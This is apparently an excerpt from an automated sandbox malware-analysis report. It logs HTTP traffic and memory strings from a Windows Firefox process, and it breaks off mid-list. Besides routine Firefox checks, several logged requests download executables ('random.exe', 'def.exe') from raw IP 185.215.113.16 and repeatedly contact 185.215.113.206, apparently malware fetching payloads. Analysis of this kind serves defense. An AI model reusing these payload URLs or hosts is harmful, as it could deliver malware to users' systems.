Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.AND (bookmarked OR frecency > 20) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUPDATE moz_bookmarks SET position = position - 1 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUPDATE moz_bookmarks SET position = position - 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'Should setting it as the default PDF handler only replace existing PDF handlers that are browsers, and not other PDF handlers such as Acrobat Reader or Nitro PDF.Allow the background update process to download and apply updates when the Mozilla Maintenance Service is unavailable but the installation directory can be written.moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/requestStorageAccess_helper.js[{incognito:null, tabId:null, types:["image"], urls:["https://smartblock.firefox.etp/facebook.svg", "https://smartblock.firefox.etp/play.svg"], windowId:null}, ["blocking"]]handleFallbackToCompleteUpdate - install of complete or only one patch offered failed. Notifying observers. topic: update-error, status: unknown, update.patchCount: DELETE FROM moz_places WHERE id IN ( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/data/ua_overrides.jsUpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat.jsresource://gre/modules/FileUtils.sys.mjsFileUtils_openAtomicFileOutputStreamFileUtils_openSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/facebook.svg://pub.doubleverify.com/signals/pub.js://c.amazon-adsystem.com/aax2/apstag.jswebcompat-reporter@mozilla.org.xpi://auth.9c9media.ca/auth/main.jsresource://gre/modules/addons/XPIProvider.jsm://www.rva311.com/static/js/main..chunk.js://www.google-analytics.com/analytics.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagmanager.com/gtm.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js*://.moatads.com//moatheader.js://www.google-analytics.com/gtm/js://cdn.adsafeprotected.com/iasPET.1.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.min.js://cdn.optimizely.com/public/.js*://s.webtrends.com/js/webtrends.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://vast.adsafeprotected.com/vast://www.facebook.com/platform/impression.phpextensions.geckoProfiler.acceptedExtensionIds equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2780914101.000001C174EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", 